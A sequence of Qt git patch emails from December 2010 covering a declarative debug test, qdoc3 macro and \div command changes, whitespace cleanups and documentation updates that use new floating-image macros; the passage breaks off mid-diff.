QDeclarativeDebugExpressionQuery *q_deleteTransition = m_dbg->queryExpressionResult(obj.debugId(),QString("transitions = []"),this); + waitForQuery(q_deleteTransition); + delete q_deleteTransition; + + + // check initial value of the property that is changing + QDeclarativeDebugExpressionQuery *q_setState; + q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this); + waitForQuery(q_setState); + delete q_setState; + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),200); + + + q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"\""),this); + waitForQuery(q_setState); + delete q_setState; + + + obj = findRootObject(sourceIndex, true); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),100); + + + // change the binding + QDeclarativeDebugObjectReference state = obj.children()[0]; + QCOMPARE(state.className(), QString("State")); + QVERIFY(state.children().count() > 0); + + QDeclarativeDebugObjectReference propertyChange = state.children()[0]; + QVERIFY(propertyChange.debugId() != -1); + + QVERIFY( m_dbg->setBindingForObject(propertyChange.debugId(), "width",QVariant(300),true) ); + + // check properties changed in state + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),100); + + + q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this); + waitForQuery(q_setState); + delete q_setState; + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),300); + + // check changing properties of base state from within a state + QVERIFY(m_dbg->setBindingForObject(obj.debugId(),"width","height*2",false)); + QVERIFY(m_dbg->setBindingForObject(obj.debugId(),"height","200",true)); + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),300); + + q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"\""),this); + waitForQuery(q_setState); + delete q_setState; + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 400); + + // reset binding while in a state + q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this); + waitForQuery(q_setState); + delete q_setState; + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 300); + + m_dbg->resetBindingForObject(propertyChange.debugId(), "width"); + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 400); + + // re-add binding + m_dbg->setBindingForObject(propertyChange.debugId(), "width", "300", true); + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 300); +} + void tst_QDeclarativeDebug::queryObjectTree() { const int sourceIndex = 3; -- cgit v0.12 From 485ac91fd7e1243fad8809c0664130b52c5fa0bb Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 13 Dec 2010 14:07:05 +0100 Subject: Removed trailing whitespace. --- tools/qdoc3/atom.h | 50 +++++++++++++++++++++++++------------------------- 1 file changed, 25 insertions(+), 25 deletions(-) diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h index 70fbae9..5b7da31 100644 --- a/tools/qdoc3/atom.h +++ b/tools/qdoc3/atom.h @@ -56,20 +56,20 @@ class Atom { public: enum Type { - AbstractLeft, - AbstractRight, + AbstractLeft, + AbstractRight, AnnotatedList, AutoLink, - BaseName, + BaseName, BriefLeft, - BriefRight, + BriefRight, C, - CaptionLeft, + CaptionLeft, CaptionRight, - Code, - CodeBad, - CodeNew, - CodeOld, + Code, + CodeBad, + CodeNew, + CodeOld, CodeQuoteArgument, CodeQuoteCommand, #ifdef QDOC_QML @@ -77,42 +77,42 @@ class Atom #endif FootnoteLeft, FootnoteRight, - FormatElse, + FormatElse, FormatEndif, FormatIf, FormattingLeft, FormattingRight, GeneratedList, - Image, + Image, ImageText, InlineImage, LegaleseLeft, LegaleseRight, - LineBreak, - Link, + LineBreak, + Link, LinkNode, - ListLeft, + ListLeft, ListItemNumber, ListTagLeft, ListTagRight, ListItemLeft, - ListItemRight, - ListRight, - Nop, + ListItemRight, + ListRight, + Nop, ParaLeft, - ParaRight, + ParaRight, #ifdef QDOC_QML Qml, QmlText, #endif - QuotationLeft, + QuotationLeft, QuotationRight, RawString, SectionLeft, SectionRight, SectionHeadingLeft, SectionHeadingRight, - SidebarLeft, + SidebarLeft, SidebarRight, SinceList, SnippetCommand, @@ -120,18 +120,18 @@ class Atom SnippetLocation, String, TableLeft, - TableRight, + TableRight, TableHeaderLeft, TableHeaderRight, TableRowLeft, - TableRowRight, - TableItemLeft, + TableRowRight, + TableItemLeft, TableItemRight, TableOfContents, Target, - UnhandledFormat, + UnhandledFormat, UnknownCommand, - Last = UnknownCommand + Last = UnknownCommand }; Atom(Type type, const QString &string = "") -- cgit v0.12 From c4e5d784609533e26ee9ea6459cd315bd9c3c0a4 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 13 Dec 2010 19:47:23 +0100 Subject: Fixed macro argument handling. Fixed macro definition parsing that confused someone into thinking that single backslashes would appear in macro definitions instead of control codes. Fixed a bug that caused only arguments in general macros to be handled. Enabled arguments in HTML macros. --- tools/qdoc3/doc.cpp | 47 ++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 42 insertions(+), 5 deletions(-) diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index f153dfb..a6e42c6 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -374,6 +374,7 @@ class DocParser void leaveTableRow(); CodeMarker *quoteFromFile(); void expandMacro(const QString& name, const QString& def, int numParams); + QString expandMacroToString(const QString &name, const QString &def, int numParams); Doc::SectioningUnit getSectioningUnit(); QString getArgument(bool verbatim = false); QString getOptionalArgument(); @@ -1228,7 +1229,7 @@ void DocParser::parse(const QString& source, } else { location().push(macro.defaultDefLocation.filePath()); - in.insert(pos, macro.defaultDef); + in.insert(pos, expandMacroToString(cmdStr, macro.defaultDef, macro.numParams)); len = in.length(); openedInputs.push(pos + macro.defaultDef.length()); } @@ -1968,15 +1969,14 @@ void DocParser::expandMacro(const QString &name, int j = 0; while (j < def.size()) { int paramNo; - if ((def[j] == '\\') && (j < def.size() - 1) && - ((paramNo = def[j + 1].digitValue()) >= 1) && + if (((paramNo = def[j].unicode()) >= 1) && (paramNo <= numParams)) { if (!rawString.isEmpty()) { append(Atom::RawString, rawString); rawString = ""; } append(Atom::String, args[paramNo - 1]); - j += 2; + j += 1; } else { rawString += def[j++]; @@ -1987,6 +1987,43 @@ void DocParser::expandMacro(const QString &name, } } +QString DocParser::expandMacroToString(const QString &name, const QString &def, int numParams) +{ + if (numParams == 0) { + return def; + } + else { + QStringList args; + QString rawString; + + for (int i = 0; i < numParams; i++) { + if (numParams == 1 || isLeftBraceAhead()) { + args << getArgument(true); + } + else { + location().warning(tr("Macro '\\%1' invoked with too few" + " arguments (expected %2, got %3)") + .arg(name).arg(numParams).arg(i)); + break; + } + } + + int j = 0; + while (j < def.size()) { + int paramNo; + if (((paramNo = def[j].unicode()) >= 1) && + (paramNo <= numParams)) { + rawString += args[paramNo - 1]; + j += 1; + } + else { + rawString += def[j++]; + } + } + return rawString; + } +} + Doc::SectioningUnit DocParser::getSectioningUnit() { QString name = getOptionalArgument(); @@ -2866,7 +2903,7 @@ void Doc::initialize(const Config& config) QString def = config.getString(macroDotName + Config::dot + *f); if (!def.isEmpty()) { macro.otherDefs.insert(*f, def); - int m = Config::numParams(macro.defaultDef); + int m = Config::numParams(def); if (macro.numParams == -1) { macro.numParams = m; } -- cgit v0.12 From b0ee435866b65c22338bfb6c878352ff69d868da Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 13 Dec 2010 19:52:01 +0100 Subject: Added macros for floating images and floating images with alt text. Ideally, these would be HTML-only macros, but the macro system doesn't know whether macro arguments used in pure HTML are file names, so the necessary files are not included. By using qdoc commands, we ensure the files are copied into the generated documentation's images directory. --- tools/qdoc3/test/macros.qdocconf | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/tools/qdoc3/test/macros.qdocconf b/tools/qdoc3/test/macros.qdocconf index 510a8b3..712d5e4 100644 --- a/tools/qdoc3/test/macros.qdocconf +++ b/tools/qdoc3/test/macros.qdocconf @@ -30,6 +30,38 @@ macro.endcomment = "\\c{*/}" macro.uuml.HTML = "ü" macro.mdash.HTML = "—" +# Macros for floating images and floating images with alt text. +# Ideally, these would be HTML-only macros. + +macro.floatleft = "\\raw HTML\n" \ + "
    " \ + "\\endraw\n" \ + "\\inlineimage \1\n" \ + "\\raw HTML\n" \ + "
    \n" \ + "\\endraw\n" +macro.figureleft = "\\raw HTML\n" \ + "
    " \ + "\\endraw\n" \ + "\\inlineimage \1 \2\n" \ + "\\raw HTML\n" \ + "
    \n" \ + "\\endraw\n" +macro.floatright = "\\raw HTML\n" \ + "
    \n" \ + "\\endraw\n" \ + "\\inlineimage \1\n" \ + "\\raw HTML\n" \ + "
    \n" \ + "\\endraw\n" +macro.figureright = "\\raw HTML\n" \ + "
    " \ + "\\endraw\n" \ + "\\inlineimage \1 \2\n" \ + "\\raw HTML\n" \ + "
    \n" \ + "\\endraw\n" + macro.beginfloatleft.HTML = "
    " macro.beginfloatright.HTML = "
    " macro.endfloat.HTML = "
    " -- cgit v0.12 From 95d30d54ca0771a31bf687dac885f02fc1244fc8 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 13 Dec 2010 19:54:33 +0100 Subject: Doc: Whitespace fix. --- doc/src/template/style/style.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index 03bc9a9..04d8c05 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -281,7 +281,7 @@ color: #4c0033; text-decoration: none; } - .content a:visited:hover + .content a:visited:hover { color: #4c0033; text-decoration: underline; -- cgit v0.12 From 38ac76c159044117c1faba7dbfa3e0ee65c487ed Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 13 Dec 2010 19:55:08 +0100 Subject: Doc: Fixed non-well-formed XHTML. --- doc/src/declarative/qmlinuse.qdoc | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/doc/src/declarative/qmlinuse.qdoc b/doc/src/declarative/qmlinuse.qdoc index 1127b4c..a1be46c 100644 --- a/doc/src/declarative/qmlinuse.qdoc +++ b/doc/src/declarative/qmlinuse.qdoc @@ -72,7 +72,7 @@
    -
    +
    @@ -100,7 +100,7 @@
    -
    +
    @@ -140,7 +140,7 @@
    -
    +
    @@ -185,7 +185,7 @@
    -
    +
    @@ -198,7 +198,7 @@
    -

    QML Interaction Elements

    +

    QML Interaction Elements

    These elements define basic interactions such as touch movements and focus management.

    Elements: @@ -216,7 +216,7 @@
    -
    +
    @@ -243,7 +243,7 @@
    -
    +
    @@ -276,7 +276,7 @@
    -
    +
    @@ -307,7 +307,7 @@
    -
    +
    @@ -334,7 +334,7 @@
    -
    +
    @@ -372,7 +372,7 @@
    -
    +
    @@ -410,7 +410,7 @@
    -
    +
    @@ -441,7 +441,7 @@
    -
    +
    @@ -468,7 +468,7 @@
    -
    +
    -- cgit v0.12 From 5cb2226ddf96555417f08c9bfe35addfc93f6acd Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 13 Dec 2010 19:57:01 +0100 Subject: Doc: Changed floating images to use the new float qdoc macros. --- doc/src/declarative/positioners.qdoc | 22 ++++++---------------- doc/src/declarative/qdeclarativemodels.qdoc | 4 +--- doc/src/getting-started/how-to-learn-qt.qdoc | 4 +--- doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc | 4 +--- .../graphicsitems/qdeclarativeflickable.cpp | 4 +--- .../graphicsitems/qdeclarativegridview.cpp | 8 ++------ .../graphicsitems/qdeclarativemousearea.cpp | 4 +--- .../graphicsitems/qdeclarativerectangle.cpp | 20 +++++--------------- src/declarative/util/qdeclarativelistmodel.cpp | 8 ++------ src/gui/graphicsview/qgraphicsanchorlayout.cpp | 4 +--- 10 files changed, 21 insertions(+), 61 deletions(-) diff --git a/doc/src/declarative/positioners.qdoc b/doc/src/declarative/positioners.qdoc index 9265732..ed320a1 100644 --- a/doc/src/declarative/positioners.qdoc +++ b/doc/src/declarative/positioners.qdoc @@ -53,9 +53,7 @@ graphical elements: \section2 Column -\beginfloatright -\image qml-column.png -\endfloat +\floatright qml-column.png \l Column items are used to vertically arrange items. The following example uses a Column item to arrange three \l Rectangle items in an area defined @@ -70,9 +68,7 @@ must be added to a parent Rectangle, if desired. \section2 Row -\beginfloatright -\image qml-row.png -\endfloat +\floatright qml-row.png \l Row items are used to horizontally arrange items. The following example uses a Row item to arrange three rounded \l Rectangle items in an area defined @@ -87,9 +83,7 @@ left around the edges of the horizontally centered Row item. \section2 Grid -\beginfloatright -\image qml-grid-spacing.png -\endfloat +\floatright qml-grid-spacing.png \l Grid items are used to place items in a grid or table arrangement. The following example uses a Grid item to place four \l Rectangle items @@ -108,10 +102,8 @@ at the appropriate places in the Grid definition. \section2 Flow -\beginfloatright -\image qml-flow-text1.png -\image qml-flow-text2.png -\endfloat +\floatright qml-flow-text1.png +\floatright qml-flow-text2.png \l Flow items are used to place items like words on a page, with rows or columns of non-overlapping items. @@ -137,9 +129,7 @@ control of spacing between items and between lines of items. \section1 Repeaters -\beginfloatright -\image qml-repeater-grid-index.png -\endfloat +\floatright qml-repeater-grid-index.png Repeaters create items from a template for use with positioners, using data from a model. Combining repeaters and positioners is an easy way to lay out diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc index e11cd56..a61b115 100644 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -504,9 +504,7 @@ a Web browser. \l ListView shows a classic list of items with horizontal or vertical placing of items. -\beginfloatright -\inlineimage qml-listview-snippet.png -\endfloat +\floatright qml-listview-snippet.png The following example shows a minimal ListView displaying a sequence of numbers (using an \l{QML Data Models#An Integer}{integer as a model}). diff --git a/doc/src/getting-started/how-to-learn-qt.qdoc b/doc/src/getting-started/how-to-learn-qt.qdoc index e9f462c..e5f1ff9 100644 --- a/doc/src/getting-started/how-to-learn-qt.qdoc +++ b/doc/src/getting-started/how-to-learn-qt.qdoc @@ -51,9 +51,7 @@ key overviews to deepen your understanding of Qt: The Qt \l{Object Model} and \l{Signals and Slots}. - \beginfloatleft - \inlineimage qtdemo-small.png - \endfloat + \floatleft qtdemo-small.png \section1 Getting an Overview diff --git a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc index d942ee6..598cbea 100644 --- a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc +++ b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc @@ -41,9 +41,7 @@ 现在您已经编写了一些小型可用的应用程序,并对 Qt 编程有更加广泛的了解。您可以直接着手做自己的项目,但我们建议您阅读以下一些关键简介以加深您对 Qt 的了解:\l{Qt Object Model}Qt 对象模型}和\l{Signals and Slots}{信号和槽}。 - \beginfloatleft - \inlineimage qtdemo-small.png - \endfloat + \floatleft qtdemo-small.png \section1 了解概况 diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp index 377f3b5..1899a39 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp @@ -373,9 +373,7 @@ void QDeclarativeFlickablePrivate::updateBeginningEnd() \section1 Example Usage - \beginfloatright - \inlineimage flickable.gif - \endfloat + \floatright flickable.gif The following example shows a small view onto a large image in which the user can drag or flick the image in order to view different parts of it. diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 1615b0f..c7517f4 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -1095,9 +1095,7 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m \snippet doc/src/snippets/declarative/gridview/ContactModel.qml 0 - \beginfloatright - \inlineimage gridview-simple.png - \endfloat + \floatright gridview-simple.png This model can be referenced as \c ContactModel in other QML files. See \l{QML Modules} for more information about creating reusable components like this. @@ -1111,9 +1109,7 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m \codeline \snippet doc/src/snippets/declarative/gridview/gridview.qml classdocs simple - \beginfloatright - \inlineimage gridview-highlight.png - \endfloat + \floatright gridview-highlight.png The view will create a new delegate for each item in the model. Note that the delegate is able to access the model's \c name and \c portrait data directly. diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp index 0a043a7..56e5c6b 100644 --- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp +++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp @@ -216,9 +216,7 @@ QDeclarativeMouseAreaPrivate::~QDeclarativeMouseAreaPrivate() \section1 Example Usage - \beginfloatright - \inlineimage qml-mousearea-snippet.png - \endfloat + \floatright qml-mousearea-snippet.png The following example uses a MouseArea in a \l Rectangle that changes the \l Rectangle color to red when clicked: diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp index 99b36a8..969027e 100644 --- a/src/declarative/graphicsitems/qdeclarativerectangle.cpp +++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp @@ -131,9 +131,7 @@ void QDeclarativeGradientStop::updateGradient() \section1 Example Usage - \beginfloatright - \inlineimage qml-gradient.png - \endfloat + \floatright qml-gradient.png The following example declares a \l Rectangle item with a gradient starting with red, blending to yellow at one third of the height of the rectangle, @@ -217,9 +215,7 @@ void QDeclarativeGradient::doUpdate() \section1 Example Usage - \beginfloatright - \inlineimage declarative-rect.png - \endfloat + \floatright declarative-rect.png The following example shows the effects of some of the common properties on a Rectangle item, which in this case is used to create a square: @@ -269,9 +265,7 @@ void QDeclarativeRectangle::doUpdate() rectangle (as documented for QRect rendering). This can cause unintended effects if \c border.width is 1 and the rectangle is \l{Item::clip}{clipped} by a parent item: - \beginfloatright - \inlineimage rect-border-width.png - \endfloat + \floatright rect-border-width.png \snippet doc/src/snippets/declarative/rectangle/rect-border-width.qml 0 @@ -293,9 +287,7 @@ QDeclarativePen *QDeclarativeRectangle::border() This property allows for the construction of simple vertical gradients. Other gradients may by formed by adding rotation to the rectangle. - \beginfloatleft - \inlineimage declarative-rect_gradient.png - \endfloat + \floatleft declarative-rect_gradient.png \snippet doc/src/snippets/declarative/rectangle/rectangle-gradient.qml rectangles \clearfloat @@ -361,9 +353,7 @@ void QDeclarativeRectangle::setRadius(qreal radius) The default color is white. - \beginfloatright - \inlineimage rect-color.png - \endfloat + \floatright rect-color.png The following example shows rectangles with colors specified using hexadecimal and named color notation: diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 398480e..52e563b 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -108,9 +108,7 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM The following example shows a ListModel containing three elements, with the roles "name" and "cost". - \beginfloatright - \inlineimage listmodel.png - \endfloat + \floatright listmodel.png \snippet doc/src/snippets/declarative/listmodel.qml 0 @@ -133,9 +131,7 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM The delegate displays all the fruit attributes: - \beginfloatright - \inlineimage listmodel-nested.png - \endfloat + \floatright listmodel-nested.png \snippet doc/src/snippets/declarative/listmodel-nested.qml delegate diff --git a/src/gui/graphicsview/qgraphicsanchorlayout.cpp b/src/gui/graphicsview/qgraphicsanchorlayout.cpp index 539826b..1d1d257 100644 --- a/src/gui/graphicsview/qgraphicsanchorlayout.cpp +++ b/src/gui/graphicsview/qgraphicsanchorlayout.cpp @@ -56,9 +56,7 @@ Items that are anchored are automatically added to the layout, and if items are removed, all their anchors will be automatically removed. - \beginfloatleft - \inlineimage simpleanchorlayout-example.png Using an anchor layout to align simple colored widgets. - \endfloat + \figureleft{simpleanchorlayout-example.png}{Using an anchor layout to align simple colored widgets.} Anchors are always set up between edges of an item, where the "center" is also considered to be an edge. Consider the following example: -- cgit v0.12 From 0fe36ac832abf8f8d438b21fce0177b65b3bbf3a Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 14 Dec 2010 13:22:12 +0100 Subject: qdoc: Changed index.qdoc to use new \div command This is necessary for the Mimir project, but it is also useful for writing html output in that now you can write the index page (and other such pages) using pure qdoc commands. i.e. you don't need to use raw html for this sort of thing anymore. --- doc/src/index.qdoc | 166 ++++++++++++++++++----------------- tools/qdoc3/atom.cpp | 3 + tools/qdoc3/atom.h | 2 + tools/qdoc3/ditaxmlgenerator.cpp | 8 ++ tools/qdoc3/doc.cpp | 23 +++-- tools/qdoc3/htmlgenerator.cpp | 12 ++- tools/qdoc3/test/macros.qdocconf | 1 + tools/qdoc3/test/qt-ditaxml.qdocconf | 1 + 8 files changed, 131 insertions(+), 85 deletions(-) diff --git a/doc/src/index.qdoc b/doc/src/index.qdoc index 57fc18a..aefbea1 100644 --- a/doc/src/index.qdoc +++ b/doc/src/index.qdoc @@ -29,83 +29,91 @@ \page index.html \keyword Qt Reference Documentation - \raw HTML -
    -
    - Qt Developer Guide
    -
    -
    -
    -

    Qt is a cross-platform application and UI framework. Using Qt, you can write web-enabled applications once and deploy them across desktop, mobile and embedded operating systems without rewriting the source code.

    -
    - -
    -
    - -
    -
    - Qt Tools
    -
    -
    -
    -

    Qt offers a selection of development tools for different tasks. Use Qt Creator for - project and code management as well as building powerfull UIs.

    -
    - -
    -
    - \endraw + \div {indexbox guide} + \div {heading} + Qt Developer Guide + \enddiv + \div {indexboxcont indexboxbar} + \div {section indexIcon} \emptyspan + \enddiv + \div {section} + Qt is a cross-platform application and UI + framework. Using Qt, you can write web-enabled + applications once and deploy them across desktop, + mobile and embedded operating systems without + rewriting the source code. + \enddiv + \div {section sectionlist} + \list + \o \l{Getting Started Guides}{Getting started} + \o \l{Installation}{Installation} + \o \l{how-to-learn-qt.html}{How to learn Qt} + \o \l{tutorials.html}{Tutorials} + \o \l{Qt Examples}{Examples} + \o \l{qt4-7-intro.html}{What's new in Qt 4.7} + \endlist + \enddiv + \enddiv + \enddiv + \div {indexbox api} + \div {heading} + Qt API + \enddiv + \div {indexboxcont indexboxbar } + \div {sectionlist tricol} + \list + \o \l{All Classes}{All Classes} + \o \l{All Functions}{All Functions} + \o \l{All Modules}{All Modules} + \o \l{All Namespaces}{All Namespaces} + \o \l{Global Qt Declarations}{Global Declarations} + \o \l{Qt Licenses and Credits}{Licenses and Credits} + \endlist + \enddiv + \div {sectionlist tricol} + \list + \o \l{qt-basic-concepts.html}{Programming with Qt} + \o \l{qt-gui-concepts.html}{UI Design with Qt} + \o \l{developing-with-qt.html}{Cross-platform and Platform-specific} + \o \l{technology-apis.html}{Qt and Key Technologies} + \o \l{best-practices.html}{Best Practices Guides} + \endlist + \enddiv + \div {sectionlist} + \list + \o \l{qtquick.html}{Qt Quick} + \o \l{qdeclarativeintroduction.html}{Introduction to QML} + \o \l{qdeclarativeelements.html}{QML Elements} + \o \l{qdeclarativeexamples.html}{QML Examples and Demos} + \endlist + \enddiv + \enddiv + \enddiv + \div {indexbox tools} + \div {heading} + Qt Tools + \enddiv + \div {indexboxcont} + \div {section indexIcon} \emptyspan + \enddiv + \div {section} + Qt offers a selection of development tools for + different tasks. Use Qt Creator for project and code + management as well as building powerfull UIs. + \enddiv + \div {section sectionlist} + \list + \o \l{http://doc.qt.nokia.com/qtcreator-2.0/index.html}{Qt Creator} + \o \l{designer-manual.html}{Qt Designer} + \o \l{linguist-manual.html}{Qt Linguist} + \o \l{assistant-manual.html}{Qt Assistant} + \o \l{qmake-manual.html}{Qt qmake} + \o \l{http://doc.qt.nokia.com/qtsimulator-1.0/index.html}{Qt Simulator} + \o \l{http://qt.nokia.com/developer/eclipse-integration}{Eclipse Integration} + \o \l{http://qt.nokia.com/products/appdev}{Add-On Products and Services} + \o \l{qvfb.html}{Virtual Framebuffer} + \endlist + \enddiv + \enddiv + \enddiv */ diff --git a/tools/qdoc3/atom.cpp b/tools/qdoc3/atom.cpp index d18c3c4..301244d 100644 --- a/tools/qdoc3/atom.cpp +++ b/tools/qdoc3/atom.cpp @@ -107,6 +107,7 @@ QString Atom::UPPERROMAN_ ("upperroman"); \value CodeOld \value CodeQuoteArgument \value CodeQuoteCommand + \value Div \value EndQmlText \value FormatElse \value FormatEndif @@ -179,6 +180,8 @@ static const struct { { "CodeOld", Atom::CodeOld }, { "CodeQuoteArgument", Atom::CodeQuoteArgument }, { "CodeQuoteCommand", Atom::CodeQuoteCommand }, + { "Div", Atom::Div }, + { "EndDiv", Atom::EndDiv }, #ifdef QDOC_QML { "EndQmlText", Atom::EndQmlText }, #endif diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h index 4639711..fe85aec 100644 --- a/tools/qdoc3/atom.h +++ b/tools/qdoc3/atom.h @@ -72,7 +72,9 @@ class Atom CodeOld, CodeQuoteArgument, CodeQuoteCommand, + Div, #ifdef QDOC_QML + EndDiv, EndQmlText, #endif FootnoteLeft, diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 57a6e8d..7b40886 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -751,6 +751,14 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, writeCharacters(trimmedTrailing(plainCode(atom->string()))); xmlWriter().writeEndElement(); // break; + case Atom::Div: + xmlWriter().writeStartElement("bodydiv"); + if (!atom->string().isEmpty()) + xmlWriter().writeAttribute("outputclass", atom->string()); + break; + case Atom::EndDiv: + xmlWriter().writeEndElement(); // + break; case Atom::FootnoteLeft: // ### For now if (in_para) { diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 9a154f8..1c72f54 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -74,11 +74,11 @@ struct Macro enum { CMD_A, CMD_ABSTRACT, CMD_ANNOTATEDLIST, CMD_BADCODE, CMD_BASENAME, CMD_BOLD, CMD_BRIEF, CMD_C, CMD_CAPTION, - CMD_CHAPTER, CMD_CODE, CMD_CODELINE, CMD_DOTS, CMD_ELSE, - CMD_ENDABSTRACT, CMD_ENDCHAPTER, CMD_ENDCODE, - CMD_ENDFOOTNOTE, CMD_ENDIF, CMD_ENDLEGALESE, CMD_ENDLINK, - CMD_ENDLIST, CMD_ENDOMIT, CMD_ENDPART, CMD_ENDQUOTATION, - CMD_ENDRAW, CMD_ENDSECTION1, CMD_ENDSECTION2, + CMD_CHAPTER, CMD_CODE, CMD_CODELINE, CMD_DIV, CMD_DOTS, + CMD_ELSE, CMD_ENDABSTRACT, CMD_ENDCHAPTER, CMD_ENDCODE, + CMD_ENDDIV, CMD_ENDFOOTNOTE, CMD_ENDIF, CMD_ENDLEGALESE, + CMD_ENDLINK, CMD_ENDLIST, CMD_ENDOMIT, CMD_ENDPART, + CMD_ENDQUOTATION, CMD_ENDRAW, CMD_ENDSECTION1, CMD_ENDSECTION2, CMD_ENDSECTION3, CMD_ENDSECTION4, CMD_ENDSIDEBAR, CMD_ENDTABLE, CMD_EXPIRE, CMD_FOOTNOTE, CMD_GENERATELIST, CMD_GRANULARITY, CMD_HEADER, CMD_I, CMD_IF, CMD_IMAGE, @@ -117,11 +117,13 @@ static struct { { "chapter", CMD_CHAPTER, 0 }, { "code", CMD_CODE, 0 }, { "codeline", CMD_CODELINE, 0}, + { "div", CMD_DIV, 0 }, { "dots", CMD_DOTS, 0 }, { "else", CMD_ELSE, 0 }, { "endabstract", CMD_ENDABSTRACT, 0 }, { "endchapter", CMD_ENDCHAPTER, 0 }, { "endcode", CMD_ENDCODE, 0 }, + { "enddiv", CMD_ENDDIV, 0 }, { "endfootnote", CMD_ENDFOOTNOTE, 0 }, { "endif", CMD_ENDIF, 0 }, { "endlegalese", CMD_ENDLEGALESE, 0 }, @@ -555,6 +557,11 @@ void DocParser::parse(const QString& source, append(Atom::QmlText); break; #endif + case CMD_DIV: + leavePara(); + x = getArgument(true); + append(Atom::Div, x); + break; case CMD_CODELINE: { if (!quoting) { @@ -622,6 +629,10 @@ void DocParser::parse(const QString& source, case CMD_ENDCODE: closeCommand(cmd); break; + case CMD_ENDDIV: + append(Atom::EndDiv); + closeCommand(cmd); + break; #ifdef QDOC_QML case CMD_ENDQML: closeCommand(cmd); @@ -2348,6 +2359,8 @@ int DocParser::endCmdFor(int cmd) return CMD_ENDCHAPTER; case CMD_CODE: return CMD_ENDCODE; + case CMD_DIV: + return CMD_ENDDIV; #ifdef QDOC_QML case CMD_QML: return CMD_ENDQML; diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index b5295c8..40cfba3 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -211,13 +211,13 @@ static void addLink(const QString &linkTarget, HtmlGenerator::HtmlGenerator() : helpProjectWriter(0), inLink(false), + inObsoleteLink(false), inContents(false), inSectionHeading(false), inTableHeader(false), numTableRows(0), threeColumnEnumValueTable(true), funcLeftParen("\\S(\\()"), - inObsoleteLink(false), myTree(0), slow(false), obsoleteLinks(false) @@ -511,6 +511,13 @@ int HtmlGenerator::generateAtom(const Atom *atom, << 